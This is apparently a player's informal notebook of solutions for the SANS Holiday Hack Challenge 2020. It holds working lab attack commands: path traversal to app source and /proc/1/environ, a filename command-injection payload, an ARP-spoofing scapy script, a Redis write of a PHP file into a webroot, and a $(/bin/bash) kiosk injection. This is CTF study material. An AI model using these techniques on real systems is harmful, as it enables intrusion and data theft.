Error in /app/lib/app.rb: Is a directory @ io_fread - /tmp/
https://tag-generator.kringlecastle.com/upload WINRAR curl -H "Content-Type: text" https://tag-generator.kringlecastle.com/image?id=../app/lib/app.rb encoding: ASCII-8BIT TMP_FOLDER = '/tmp' FINAL_FOLDER = '/tmp' Don't put the uploads in the application folder Dir.chdir TMP_FOLDER require 'rubygems' require 'json' require 'sinatra' require 'sinatra/base' require 'singlogger' require 'securerandom' require 'zip' require 'sinatra/cookies' require 'cgi' require 'digest/sha1' LOGGER = ::SingLogger.instance() MAX_SIZE = 1024**2*5 # 5mb #Manually escaping is annoying, but Sinatra is lightweight and doesn't have #stuff like this built in :( def h(html) CGI.escapeHTML html end def handle_zip(filename) LOGGER.debug("Processing #{ filename } as a zip") out_files = [] Zip::File.open(filename) do |zip_file| #Handle entries one by one zip_file.each do |entry| LOGGER.debug("Extracting #{entry.name}") if entry.size > MAX_SIZE raise 'File too large when extracted' end if entry.name().end_with?('zip') raise 'Nested zip files are not supported!' end #I wonder what this will do? --Jack #if entry.name !~ /^[a-zA-Z0-9._-]+$/ #raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen' #end #We want to extract into TMP_FOLDER out_file = "#{ TMP_FOLDER }/#{ entry.name }" #Extract to file or directory based on name in the archive entry.extract(out_file) { #If the file exists, simply overwrite true } #Process it out_files << process_file(out_file) end end return out_files end def handle_image(filename) out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}" out_path = "#{ FINAL_FOLDER }/#{ out_filename }" #Resize and compress in the background Thread.new do if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'") LOGGER.error("Something went wrong with file conversion: #{ filename }") else LOGGER.debug("File successfully converted: #{ filename }") end end #Return just the filename - we can figure that out later return out_filename end def process_file(filename) out_files = [] if filename.downcase.end_with?('zip') #Append the list returned by handle_zip out_files += handle_zip(filename) elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png') #Append the name returned by handle_image out_files << handle_image(filename) else raise "Unsupported file type: #{ filename }" end return out_files end def process_files(files) return files.map { |f| process_file(f) }.flatten() end module TagGenerator class Server < Sinatra::Base helpers Sinatra::Cookies def initialize(*args) super(*args) end configure do if(defined?(PARAMS)) set :port, PARAMS[:port] set :bind, PARAMS[:host] end set :raise_errors, false set :show_exceptions, false end error do return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" }) end not_found do return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" }) end get '/' do erb(:index) end post '/upload' do images = [] images += process_files(params['my_file'].map { |p| p['tempfile'].path }) images.sort!() images.uniq!() content_type :json images.to_json end get '/clear' do cookies.delete(:images) redirect '/' end get '/image' do if !params['id'] raise 'ID is missing!' end #Validation is boring! --Jack #if params['id'] !~ /^[a-zA-Z0-9._-]+$/ #return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen' #end content_type 'image/jpeg' filename = "#{ FINAL_FOLDER }/#{ params['id'] }" if File.exists?(filename) return File.read(filename) else return 404, "Image not found!" end end get '/share' do if !params['id'] raise 'ID is missing!' end filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png" if File.exists?(filename) erb(:share, :locals => { id: params['id'] }) else return 404, "Image not found!" end end post '/save' do payload = params payload = JSON.parse(request.body.read) data_url = payload['dataURL'] png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1]) out_hash = Digest::SHA1.hexdigest png out_filename = "#{ out_hash }.png" out_path = "#{ FINAL_FOLDER }/#{ out_filename }" LOGGER.debug("output: #{out_path}") File.open(out_path, 'wb') { |f| f.write(png) } { id: out_hash }.to_json end end end The handle_zip function here looks interesting. The filenames within the zip file aren't being validated. Moreover, the files extracted from the file are used to replace any existing files. Could we overwrite the app.rb file with our own file? ALSO system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'") Could we inject a command here? Coming back to this on the 27/06/2021. Have decided to use https://n00.be/HolidayHackChallenge2020/objectives/o8/ as support to complete these challenges. I need to get back into the game and don't want to burn myself out in the process. According to the answer in that link there are two solutions, Path traversal and getting a reverse shell. I was trying to get a reverse shell above by getting my own code/file on the server. Either that or upload code that would print the environmental variables. I used path traversal to get the file displayed above in the first place. I'm going to look at both of the solutions. 1) Path Traversal I used this to get the code for the app.rb file. Everything in Linux is a file and it would have been possible to retrieve the file that holds the environmental variables (facepalm lol). In hindsight this should have been obvious, but I've never actually retrieve the environmental variables from a file so I didn't even think of this solution. The variables can be retried from /etc/environment. The solution in the link gets the variables from /proc/1/environ. It seems that each process in the system would have it's own copy of the environmental variables? Running cat /proc/1/environ on a local Kali install presents a Permission Denied message. This may be down to the process that's running. The SANS HHQ is using containers so the same restrictions wouldn't exist there as a system process wouldn't be taking PID 1. To test this I started a netcat listener on Kali and got the PID of that process. Running cat /proc/$NC_PID$/environ returned the env variables. Awesome! If we had a case where a server was running the web server natively (not in a container) and PID 1 wouldn't work it would be fairly trivial to just enumerate through PIDs until we got to one that worked. Winrar. So we can exploit the same path traversal vulnerability we did before but this time try to read the file that contains the env variables. We did need to add a parameter to tell curl to output to the terminal regardless of the data format. This flag is output and is used lime "--output -". The complete solution is curl -H "Content-Type: text" https://tag-generator.kringlecastle.com/image?id=../../../../proc/1/environ --output - The above command outputs: PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app This is what we were looking for: GREETZ=JackFrostWasHere 2) Reverse Shell/Command Injection I was right to be looking at this line before: system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'") The unchecked filename variable here can indeed be used to inject commands. According to the answer naming a file "myfile';echo $GREETZ>the_GREETZ_tag.txt;ls '.png" would exploit this. This file would be named as such and then added to a zip file before being uploaded. After the command is executed the variable would be accessible in the /tmp directory. A reverse shell could have been obtained the same way with a different command injected. Would have to open ports on the home router and set a lister up for this of course. # Objective #9 - ARP Shenanigans Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who reused herself from the vote described on the document? Time to head to the roof. I want to do this without looking at the solution becuase this should be my bread and butter. I've only not realized that there is a fast travel option in the badge! Entering the terminal we get the following text: "Jack Frost has hijacked the host at 10.6.6.35 with some custom malware. Help the North Pole by getting command line access back to this host. Read the HELP.md file for information to help you in this endeavor. Note: The terminal lifetime expires after 30 or more minutes so be sure to copy off any essential work you have done as you go." HELP.md shows the following: "# How To Resize and Switch Terminal Panes: You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals. You can use the key combinations ( Ctrl+B o ) to switch terminal panes. See tmuxcheatsheet.com for more details To Add An Additional Terminal Pane: `/usr/bin/tmux split-window -hb` To exit a terminal pane simply type: `exit` To Launch a webserver to serve-up files/folder in a local directory: ``` cd /my/directory/with/files python3 -m http.server 80 ``` A Sample ARP pcap can be viewed at: https://www.cloudshark.org/captures/d97c5b81b057 A Sample DNS pcap can be viewed at: https://www.cloudshark.org/captures/0320b9b57d35 If Reading arp.pcap with tcpdump or tshark be sure to disable name resolution or it will stall when reading: ```` tshark -nnr arp.pcap tcpdump -nnr arp.pcap ```` We have 3 terminal windows infront of us. Using ifconfig we can see what they all have the same IP and seem to actually be the same host. In the current directory we have the following: guest@aa06b5ba6cc5:~$ ls HELP.md debs motd pcaps scripts guest@aa06b5ba6cc5:~$ ls debs gedit-common_3.36.1-1_all.deb nano_4.8-1ubuntu1_amd64.deb nmap_7.80+dfsg1-2build1_amd64.deb unzip_6.0-25ubuntu1_amd64.deb golang-github-huandu-xstrings-dev_1.2.1-1_all.deb netcat-traditional_1.10-41.1ubuntu1_amd64.deb socat_1.7.3.3-2_amd64.deb guest@aa06b5ba6cc5:~$ ls pcaps/ arp.pcap dns.pcap guest@aa06b5ba6cc5:~$ ls scripts/ arp_resp.py dns_resp.py guest@aa06b5ba6cc5:~$ The scripts here are interesting. Looks like some tools to help us. arp_resp.py ~~~ #!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid #Our eth0 ip ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] #Our eth0 mac address macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) def handle_arp_packets(packet): #if arp request, then we need to fill this out to send back our mac as the response if ARP in packet and packet[ARP].op == 1: ether_resp = Ether(dst="SOMEMACHERE", type=0x806, src="SOMEMACHERE") arp_response = ARP(pdst="SOMEMACHERE") arp_response.op = 99999 arp_response.plen = 99999 arp_response.hwlen = 99999 arp_response.ptype = 99999 arp_response.hwtype = 99999 arp_response.hwsrc = "SOMEVALUEHERE" arp_response.psrc = "SOMEVALUEHERE" arp_response.hwdst = "SOMEVALUEHERE" arp_response.pdst = "SOMEVALUEHERE" response = ether_resp/arp_response sendp(response, iface="eth0") def main(): #We only want arp requests berkeley_packet_filter = "(arp[6:2] = 1)" #sniffing for one packet that will be sent to a function, while storing none sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1) if __name__ == "__main__": main() ~~~ dns_resp.py ~~~ #!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid #Our eth0 IP ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] #Our Mac Addr macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) #destination ip we arp spoofed ipaddr_we_arp_spoofed = "10.6.1.10" def handle_dns_request(packet): #Need to change mac addresses, Ip Addresses, and ports below. #We also need eth = Ether(src="00:00:00:00:00:00", dst="00:00:00:00:00:00") # need to replace mac addresses ip = IP(dst="0.0.0.0", src="0.0.0.0") # need to replace IP addresses udp = UDP(dport=99999, sport=99999) # need to replace ports dns = DNS( #MISSING DNS RESPONSE LAYER VALUES ) dns_response = eth / ip / udp / dns sendp(dns_response, iface="eth0") def main(): berkeley_packet_filter = " and ".join( [ "udp dst port 53", # dns "udp[10] & 0x80 = 0", # dns request "dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip) "ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac ] ) #sniff the eth0 int without storing packets in memory and stopping after one dns request sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1) if __name__ == "__main__": main() ~~~ Ok, so using tcpdump we can see some ARP requests showing up: guest@aa06b5ba6cc5:~/debs$ tcpdump tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 22:11:02.539520 ARP, Request who-has winsrvdc2019.guestnet0.kringlecastle.com tell arp_requester.guestnet0.kringlecastle.com, length 28 22:11:03.571506 ARP, Request who-has winsrvdc2019.guestnet0.kringlecastle.com tell arp_requester.guestnet0.kringlecastle.com, length 28 22:11:04.603551 ARP, Request who-has winsrvdc2019.guestnet0.kringlecastle.com tell arp_requester.guestnet0.kringlecastle.com, length 28 ...and they just keep on coming. So by now I'm guessing that we have to masquerade as the C2 machine for Jacks Malware. I'm guessing that we'll need to... 1 - Edit and run the arp_resp.py script to respond to the ARP request with our details, poisoning the other devices ARP cache and making it believe we are the C2 machine. At this point we will probably start seeing other types of traffic. 2- Edit the dns_resp.py script to respond to DNS requests to point the requesting host to a local webserver we run. I'm guessing we'll be running the web server in the /dist directory so that the malware can access the deb files in there. 3 - ? Now the goal here is to "get command line access back" to 10.6.6.35. I'm guessing that this will be the host we will be communicating with. The flag we're looking for is in /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Probably on that host. So if the steps above are correct then maybe for step 3 we need to backdoor one of the deb files that the host will presumably download. We can confirm with the ping tool that arp_requester.guestnet0.kringlecastle.com is in fact 10.6.6.35 winsrvdc2019.guestnet0.kringlecastle.com is actually at 10.6.6.53 Right, lets set this up. Our MAC is 02:42:0a:06:00:02 (could also call get_if_hwaddr() in the script) Our IP is 10.6.0.2 Target MAC is 4c:24:57:ab:ed:84 Target IP is 10.6.6.35 The modified arp_resp.py file is as follows: ``` #!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid #Our eth0 ip ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] #Our eth0 mac address macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) def handle_arp_packets(packet): #if arp request, then we need to fill this out to send back our mac as the response if ARP in packet and packet[ARP].op == 1: ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src="02:42:0a:06:00:02") arp_response = ARP(pdst="4c:24:57:ab:ed:84") arp_response.op = 2 #arp_response.plen = 99999 #arp_response.hwlen = 99999 #arp_response.ptype = 99999 #arp_response.hwtype = 99999 arp_response.hwsrc = "02:42:0a:06:00:02" arp_response.psrc = "10.6.6.53" arp_response.hwdst = "4c:24:57:ab:ed:84" arp_response.pdst = "10.6.6.35" response = ether_resp/arp_response sendp(response, iface="eth0") def main(): #We only want arp requests berkeley_packet_filter = "(arp[6:2] = 1)" #sniffing for one packet that will be sent to a function, while storing none sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1) if __name__ == "__main__": main() ``` After running be above we see this packet: 22:54:01.484115 IP arp_requester.guestnet0.kringlecastle.com.54299 > winsrvdc2019.guestnet0.kringlecastle.com.domain: 0+ A? ftp.osuosl.org. (32) # Objective #10 - Defeat Fingerprint Sensor Bypass the Santavator fingerprint sensor. Enter Santa's office without Santa's fingerprint. # Objective #11 - Naughty/Nice List with Blockchain Investigation Part 1 Even though the chunk of the blockchain that you have ends with block 129996, can you predict the nonce for block 130000? Talk to Tangle Coalbox in the Speaker UNpreparedness Room for tips on prediction and Tinsel Upatree for more tips and tools. (Enter just the 16-character hex value of the nonce) # Objective #11 - Naughty/Nice List with Blockchain Investigation Part 1 The SHA256 of Jack's altered block is: 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f. If you're clever, you can recreate the original version of that block by changing the values of only 4 bytes. Once you've recreated the original block, what is the SHA256 of that block? # Side-Quests ## Elf JavaScript Game ``` Level 1: elf.moveLeft(10) elf.moveUp(10) Level 2: var s = elf.get_lever(0) elf.moveLeft(6) elf.pull_lever(s + 2) elf.moveLeft(4) elf.moveUp(10) Level 3: elf.moveTo(lollipop[0]) elf.moveTo(lollipop[1]) elf.moveTo(lollipop[2]) elf.moveUp(1) Level 4: elf.moveLeft(1) for (var i = 0; i < 3; i++) { elf.moveUp(40) elf.moveLeft(40) elf.moveDown(40) elf.moveLeft(3) } Level 5: var a = [] var q = elf.ask_munch(0) for (var i = 0; i < q.length; i++) { if (typeof q[i] === 'number') { a.push(q[i]) } } elf.moveTo(lollipop[0]) elf.tell_munch(a) elf.moveUp(2) Level 6: for (var i = 0; i < 4; i++) { elf.moveTo(lollipop[i]) } elf.moveLeft(8) elf.moveUp(2) var j = elf.ask_munch(0) for (o in j) { if (j[o] == "lollipop") { elf.tell_munch(o) } } elf.moveUp(2) Level 7 (Bonus): function do_lever(l) { elf.pull_lever(l) } for (var steps = 1; steps < 8; steps = steps + 4) { elf.moveDown(steps) do_lever(steps - 1) elf.moveLeft(steps + 1) do_lever(steps) elf.moveUp(steps + 2) do_lever(steps + 1) elf.moveRight(steps + 3) do_lever(steps + 2) lever = lever + 4 } elf.moveUp(2) elf.moveLeft(4) elf.tell_munch(function test(a) { var total = 0 for (i in a) for (j in a[i])(typeof a[i][j] === 'number') ? total += a[i][j] : total; return total }) elf.moveUp(2) Level 8 (Bonus): var sums = [0, 0, 0, 0, 0, 0, 0] for (var i = 0; i < 6; i++) { sums[i + 1] = sums[i] + elf.get_lever(i); } var steps = 1 for (var i = 1; i < 7; i++) { elf.moveRight(steps) elf.pull_lever(sums[i]) elf.moveUp(2) elf.moveLeft(steps + 2) elf.pull_lever(sums[i + 1]) elf.moveUp(2) steps += 4 i += 1 } elf.tell_munch(function test(obs) { for (o in obs) { for (i in obs[o]) { if (obs[o][i] == "lollipop") { return i } } } }) elf.moveRight(12) ``` All done! ## 33.6kbps oooh Dial up! 756-8347 BAAdeeBRRRR aaah WEWEWWRWRRWRR beDURRdunditty SCHHRRHHRTHRTR "You're lights have been updated" ## Snowball Fight Must come back to this ## Sort-o-matic Regular expressions...NOOOOOOOOOOOOOOOOOOOOOOOOOOOO 1. Create a Regex That Matches All Digits Create a regular expression that will only match any string containing at least one digit. [0-9] 2. Create a Regex That Matches 3 or More Alpha Characters Ignoring Case Create a regular expression that will only match only alpha characters A-Z of at least 3 characters in length or greater while ignoring case. [a-zA-Z]{3} 3. Create a Regex That Matches Two Consecutive Lowercase a-z or numeric characters. Create a regular expression that will only match at least two consecutive lowercase a-z or numeric characters. [a-z0-9]{2,} 4. Any two characters that are not uppercase A-L or 1-5 Create a regular expression that will only match any two characters that are NOT uppercase a through L and NOT numbers 1 through 5. [^A-L1-5]{2} 5. Create a Regex To Match a String of 3 Characters in Length or More Composed of ONLY Digits Create a regular expression that only matches if the entire string is composed of entirely digits and is at least 3 characters in length. ^\d{3,}$ 6. Create A Regex To Match Multiple Hour:Minute:Second Time Formats Only ^(([0-1]?[0-9]|2[0-3]):[0-5][0-9]:[0-5][0-9])+$ 7. Create A Regular Expression That Matches The MAC Address Format Only While Ignoring Case ^\b[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}:[0-9a-fA-F]{2}\b$ 8. Create A Regex That Matches Multiple Day, Month, and Year Date Formats Only ^\b[0-2][0-9][\/.-][01][0-9][\/.-][0-9]{4}\b$ ## Terminals ### Unescape tmux """ Can you help me? I was playing with my birdie (she's a Green Cheek!) in something called tmux, then I did something and it disappeared! Can you help me find her? We were so attached!! """ List tmux sessions with: tmux list-sessions This shows an active session with an ID of 2 Attach to it with: tmux attach -t 0 Result: """ You found her! Thank you!!! #####hhc:{"hash": "f51efaa0c665245b63e8339b5aa9e6dc6187ae7b0b2d69d8a5d39ee775d3b93c", "resourceId": "4385acaa-8aa6-4b37-b505-c3c2b14dec23"}##### """ ### Kringle Kiosk Option 4 allows us to enter a name. Cowsay is presumably used to print our name. We can call /bin/bash here by entering the name $(/bin/bash). Exiting our shell will cuase the following to be displayed: _________________________________________ / #####hhc:{"hash": \ | "076f041b7617550859903cb0baf71a3bc2d848 | | b66f93597ab9aeed85e29a2205", | | "resourceId": | | "5752ddeb-91a0-46db-8500-157056ef73e3"} | | ##### ___ _ / __| _ _ __ __ ___ ___ ___ | | | | \__ \ | +| | / _| / _| / -_) (_-< | | (_-< |_| |___/ \_,_| \__|_ \__|_ \___| | | /__/_ /__/_ _(_)_ | | _|"""""|_|"""""|_|"""""|_|"""""|_|""""" | | |_|"""""|_|"""""|_| """ | | | "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0- | | '"`-0-0-'"`-0-0-'"`-0-0-' Type 'exit' | | to return to the menu. welcome.sh | | welcome.sh /home/shinny | | #####hhc:{"hash": | | "076f041b7617550859903cb0baf71a3bc2d848 | | b66f93597ab9aeed85e29a2205", | | "resourceId": | | "5752ddeb-91a0-46db-8500-157056ef73e3"} | | ##### ___ _ / __| _ _ __ __ ___ ___ ___ | | | | \__ \ | +| | / _| / _| / -_) (_-< | | (_-< |_| |___/ \_,_| \__|_ \__|_ \___| | | /__/_ /__/_ _(_)_ | | _|"""""|_|"""""|_|"""""|_|"""""|_|""""" | | |_|"""""|_|"""""|_| """ | | | "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0- | | '"`-0-0-'"`-0-0-'"`-0-0-' Type 'exit' | | to return to the menu. welcome.sh | \ shinny elf shinny / ----------------------------------------- \ \ \_\_ _/_/ \ \__/ (oo)\_______ (__)\ )\/\ ||----w | || || ### Redis Bug Hunt Useful information here: https://book.hacktricks.xyz/pentesting/6379-pentesting-redis curl http://localhost/maintenance.php?cmd=config,get,* dbfilename dump.rdb requirepass R3disp@ss redis-cli --raw -a R3disp@ss config get * Success using the following: curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html curl http://localhost/maintenance.php?cmd=config,set,dbfilename,rawr.php curl http://localhost/maintenance.php?cmd=set,test,%22%3C%3Fphp+echo%28file_get_contents%28%27index.php%27%29%29%3B+%3F%3E%22 curl http://localhost/maintenance.php?cmd=save curl --output - 127.0.0.1/rawr.php ### Speaker Unpreperdness room For the door binary use: strings door After looking through the output we find: Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r" Using Op3nTheD00r will open the door For the lights binary, it points us towards the lights.conf file Viewing the file with cat reveals: password: E$ed633d885dcb9b2f3f0118361de4d57752712c27c5316a95d9e5e5b124 name: elf-technician The password looks like a hash, and trying it doesn't work. Bushy Evergreen gives us a great hint here. The program will decrypt any value in the file that's matched with a key. So if we replace the name with the encrypted password then it will give us back the unencrpyted password: Computer-TurnLightsOn Entering that as the password will turn the lights on! For the vending machine binary the conf file has the following { "name": "elf-maintenance", "password": "LVEdQPpBwr" } Bushy Evergreen suggested that this password is the product of a simple cipher. If we rename the conf file then the binary will go into a conf creation mode where wqe can define the name and password ourselves. The key seems to be 8 characters long. It repeats after 8 characters. For example: AAAAAAAAAA -> XiGRehmwXi aaaaaaaaaa -> 9Vbtacpg9V Could try to work out the cipher but not sure what the cipher alphabet is. Wrote a script to iterate through the alphabet and get the password for aaaaaaaa, bbbbbbbb, cccccccc, etc. To get the result for each position. Matches position result with the password we need to crask and got the following: L V E d Q P p B w r C a n d y C a n e 1 ### Scapy Prepper Type "yes" to begin. yes ╔════════════════════════════════════════════════════════════════╗ ║ HELP MENU: ║ ╠════════════════════════════════════════════════════════════════╣ ║ 'help()' prints the present packet scapy help. ║ ║ 'help_menu()' prints the present packet scapy help. ║ ║ 'task.get()' prints the current task to be solved. ║ ║ 'task.task()' prints the current task to be solved. ║ ║ 'task.help()' prints help on how to complete your task ║ ║ 'task.submit(answer)' submit an answer to the current task ║ ║ 'task.answered()' print through all successfully answered. ║ ╚════════════════════════════════════════════════════════════════╝ >>> task.get() Welcome to the "Present Packet Prepper" interface! The North Pole could use your help preparing present packets for shipment. Start by running the task.submit() function passing in a string argument of 'start'. Type task.help() for help on this question. Part 1 === Start by called task.submit("start") Part 2 === Submit the class object of the scapy module that sends packets at layer 3 of the OSI model. task.submit(send) Part 3 === Submit the class object of the scapy module that sniffs network packets and returns those packets in a list. task.submit(sniff) Part 4 === Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt": 1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20)) 2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20)) 3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20)) task.submit(1) Part 5 === Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets task.submit(rdpcap) Part 6 === The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS: 1. UDP_PACKETS.print() 2. UDP_PACKETS.show() 3. UDP_PACKETS.list() task.submit(2) Part 7 === Submit only the first packet found in UDP_PACKETS. task.submit(UDP_PACKETS[0]) Part 8 === Submit only the entire TCP layer of the second packet in TCP_PACKETS task.submit(TCP_PACKETS[1][TCP]) Part 9 === Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet pkt = UDP_PACKETS[0] pkt[IP].src = "127.0.0.1" Part 10 === Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS. >>> for pkt in TCP_PACKETS: ... try: ... print(pkt[TCP].load) ... except: ... pass b'220 North Pole FTP Server\r\n' b'USER alabaster\r' b'331 Password required for alabaster.\r' b'PASS echo\r\n' b'230 User alabaster logged in.\r' task.submit("echo") Part 11 === The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list. task.submit(ICMP_PACKETS[1][ICMP].chksum) Part 12 === Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named "pkt" 1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request") 2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply") 3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request") task.submit(3) Part 13 === Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified) task.submit(IP(dst="127.127.127.127")/UDP(dport=5000)) Part 14 === Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified) pkt = IP(dst="127.2.3.4")/UDP(dport=53)/DNSQR(qname="elveslove.santa") Part 15 === The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection. >>> pkt = ARP_PACKETS[1] >>> pkt.show() ###[ Ethernet ]### dst = 00:16:ce:6e:8b:24 src = 00:13:46:0b:22:ba type = ARP ###[ ARP ]### hwtype = 0x1 ptype = IPv4 hwlen = 6 plen = 4 op = None hwsrc = ff:ff:ff:ff:ff:ff psrc = 192.168.0.1 hwdst = ff:ff:ff:ff:ff:ff pdst = 192.168.0.114 ###[ Padding ]### load = '\xc0\xa8\x00r' You have to submit the ARP_PACKETS list...Should have read that before submitting pkt! >>> ARP_PACKETS[1].op = 2 >>> ARP_PACKETS[1].hwsrc = "00:13:46:0b:22:ba" >>> ARP_PACKETS[1].hwdst = "00:16:ce:6e:8b:24" >>> task.submit(ARP_PACKETS) Great, you prepared all the present packets! Congratulations, all pretty present packets properly prepared for processing! ### CAN-Bus Investigation Took the CAN-Bus log and storing it in a file. I figured that the IDs starting with 244 were all realated to the engine revving, so I wrote the following Python snippet to filter these out. >>> f = open("can_log.txt", 'r') >>> for l in f: ... if("vcan0 244" not in l): ... print(l) This filtered the log down to messages starting with 188 and 19B There were 3 messages starting with 19B, so these must be our LOCK, UNLOCK, and LOCK. The follwoing log is the UNLOCK (1608926671.122520) vcan0 19B#00000F000000 Submitting 122520 will solve the challenge.